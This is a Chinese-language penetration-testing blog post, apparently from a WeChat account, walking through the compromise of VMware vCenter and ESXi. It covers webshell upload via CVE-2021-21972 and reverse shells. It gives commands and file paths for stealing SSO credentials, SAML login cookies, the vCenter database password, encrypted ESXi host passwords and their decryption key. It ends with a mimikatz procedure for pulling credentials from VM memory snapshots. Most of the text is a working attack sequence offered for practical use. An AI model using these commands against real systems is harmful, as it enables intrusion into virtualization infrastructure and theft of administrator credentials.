Vmware vSphere相关利用总结
1.1 Vmware vSphere相关
此文章参考:https://lzcloudsecurity.gitbook.io/yun-an-quan-gong-fang-ru-men/di-wu-zhang-si-you-yun-yu-xu-ni-hua-gong-fang/vmvare-vsphere
而且大体内容网上有很多文章了也,但是有差异的地方是,加上了我实践过程中遇到问题的一些比较好的解决思路和方法。例如交互式shell导致的问题和一些更为便捷的利用思路。
所涉及到的相关工具下载--后台回复:vcenter
1.1.1 基础知识和搭建
VMware有很多产品,例如Workstation Pro:面向Windows虚拟化,也就是我们常用的vm虚拟机;Fusion for Mac:面向Mac虚拟化;而Vmware vSphere是服务器虚拟化平台
vSphere 是 VMware 推出的虚拟化平台套件,包含 ESXi、vCenter Server 等一系列的软件。
vSphere有两个核心组件:
-
ESXi -
用于创建并运行虚拟机和虚拟设备的虚拟化平台 -
vCenter -
用于管理网络中连接的多个主机,并将主机资源池化。
vSphere Client和vSphere Web Client
:用于管理vCenter Server。vCenter Server数据库
:存储资源清册项、安全角色、资源池、性能数据和其他信息,支持Oracle和Microsoft SQL Server数据库。vCenter单一登录(SSO)
:允许针对多个用户存储库(如Active Directory或Open LDAP)进行身份验证。托管主机
:ESXi主机及其各自的虚拟机。
对应关系如下图
安装后登录用[email protected]
1.1.2 相关CVE和利用
查看Vcenter版本信息
GET请求
/sdk/vimServiceVersions.xml
POST请求
地址:/sdk/
<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<soap:Header>
<operationID>00000001-00000001</operationID>
</soap:Header>
<soap:Body>
<RetrieveServiceContent
xmlns="urn:internalvim25">
<_this xsi:type="ManagedObjectReference" type="ServiceInstance">ServiceInstance</_this>
</RetrieveServiceContent>
</soap:Body>
</soap:Envelope>
相关CVE
下面列举一些、具体利用什么的网上很全了我这里就不多做赘述了
CVE-2021-21972、CVE-2021-21985、CVE-2021-22005、vCenter < 6.0 S2-045
实战利用流程
获取版本并传webshell
假设存在一个vSphere
注意当我们用局域网的其它主机(攻击主机)访问这个地址的时候,可以访问到下面的地址
但是你访问/ui
路径的时候它重定向到这里
因为我的攻击主机没有加到2016的网络中,用的不是它的dns解析,所以肯定找不到这个地址,我们只需要配置hosts即可,这样就可以访问通了
我们仍然可以根据/sdk/vimServiceVersions.xml
来获取版本信息
或采用post方式
然后可以用afrog或nuclei去扫描,这个版本存在21972
漏洞,利用https://github.com/Schira4396/VcenterKiller
上传哥斯拉webshell,然后哥斯拉连接的时候如果乱码,可以改编码为gbk解决,成功连接且权限为system
获取center登录密码
通过重置密码获取(不推荐)
#Linux
/usr/lib/vmware-vmdir/bin/vdcadmintool
#Windows
C:Program FilesVmwarevCenter Servervmdirdvdcadmintool.exe
这里直接通过哥斯拉的命令执行,执行失败,卡住且返回NULL
我们可以通过在本地nc监听,然后利用哥斯拉Realcmd
获取反弹shell,然后实际发现这样到最后输出重置后的密码那步时,也不并会输出
这里有两种解决方案第一种是将内容重定向到文本,第二种其实就是第二次选择的时候,选0退出的时候它会显示密码
(如果不是默认vsphere.local可以用下面代码查看域)
#Linux
/usr/lib/vmware-vmafd/bin/vmafd-cli get-domain-name --server-name localhost
#windows
"C:Program FilesVMwarevCenter Servervmafddvmafd-cli.exe" get-domain-name --server-name localhost
通过获取cookie登录
原理就是通过对data.mdb
文件解密然后获取cookie,对应路径如下
#Linux
/storage/db/vmware-vmdir/data.mdb
#windows
C:ProgramDataVMwarevCenterServerdatavmdirddata.mdb
解密脚本:https://github.com/horizon3ai/vcenter_saml_login
正常的利用是从服务器上拖data.mdb下来,然后用脚本跑,但是由于windwos的mdb文件过大不适合拖到本地,我这里是将脚本编译成exe(地址:https://github.com/likeNlong/exe_vcenter_saml_login/releases/tag/v1.0),上传到服务器解密,解密时间有点长要耐心等会,同理这里不建议直接webshell的命令去执行,而是像之前提到的利用Realcmd反弹后执行
然后去访问不加ui的地址,f12加上cookie
然后加上ui访问就可以了
获取Esxi账号密码
-
先拿对称加密秘钥
#Windows
type C:ProgramDataVMwarevCenterServercfgvmware-vpxsslsymkey.dat
#Linux
cat /etc/vmware-vpx/ssl/symkey.dat
得到秘钥
-
获取vcenter的postgresql数据库的明文账号和密码
#Linux
cat /etc/vmware-vpx/vcdb.properties
cat /etc/vmware/service-state/vpxd/vcdb.properties
#Windows
type "C:ProgramDataVMwareVMware VirtualCentervcdb.properties"
type C:ProgramDataVMwarevCenterServercfgvmware-vpxvcdb.properties
拿到账号和密码
-
直接执行命令获取加密后的password
#psql默认存放位置
Windows: C:Program FilesVMwarevCenter ServervPostgresbinpsql.exe
Linux: /opt/vmware/vpostgres/9.3/bin/psql
#查询
"C:Program FilesVMwarevCenter ServervPostgresbinpsql.exe" -h 127.0.0.1 -p 5432 -U vc -d VCDB -c "select ip_address,user_name,password from vpx_host;" > password.enc
==注意==
但是这里有遇到了一个问题就是交互式shell的问题,当我们正常执行这个数据库查询命令的时候,它会让我们输入密码,然后这里我试了webshell的命令执行模块和之前提到的Realcmd
都是没有执行成功,于是改成如下命令,即可绕过交互式输入
#原理就是通过设置环境变量PGPASSWORD,用于在使用 PostgreSQL时自动提供数据库密码
set "PGPASSWORD=密码" && "C:Program FilesVMwarevCenter ServervPostgresbinpsql.exe" -h 127.0.0.1 -p 5432 -U vc -d VCDB -c "select ip_address,user_name,password from vpx_host;" > password.enc
至此我们执行命令成功后就将密码保存到文件中了
-
接下来我们可以通过脚本去进行解密,来获取vpxuser的账号密码,这个账户是vCenter为了和ESXi管理和通信自动创建的,然后就可以登录了
https://github.com/shmilylty/vhost_password_decrypt
symkey.dat
为第一步获取的对称密钥,password.enc
这个就是上一步拿到的加密后的password文件了,最后的password.txt
这个就是生成文件的文件名了
当然这个密码不仅仅可以登录Esxi,在后面拼接host后利用该账号密码可以访问对应esxi的配置文件和日志文件
获取虚拟机权限
Linux虚拟机(不推荐)
只能单用户去修改密码,不过因为要重启服务器并且重置密码,所以并不推荐
windows虚拟机
windows虚拟机也有两种方法,第一种用pe,挂载PE,然后利用PE重置或绕过密码,不过这个也得重启所以不推荐
第二种方法就是利用快照然后读取内存中的密码(但是这个实际利用中并不十分好用,因为需要下载的文件太大),具体操作如下
-
先把对应虚拟机打个快照
-
然后去 存储
里面拿后缀分别以vmem
和vmsn
结尾的文件
-
利用vmss2core-sb-8456865工具,将其转换为可用于分析的dmp文件
-
打开我们的dump文件
#内部加载mimilib
kd> .load C:UsersADesktopvmnxmimikatz_trunkx64mimilib.dll
#查看lsass进程
kd> !process 0 0 lsass.exe
#切换到该进程中
kd> .process /r /p fffffa80028f2400(替换成你自己的)
#抓取内存密码
kd> !mimikatz
结果
原文始发于微信公众号(小惜渗透):【云安全初探】虚拟化 Vmware vSphere相关利用总结
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论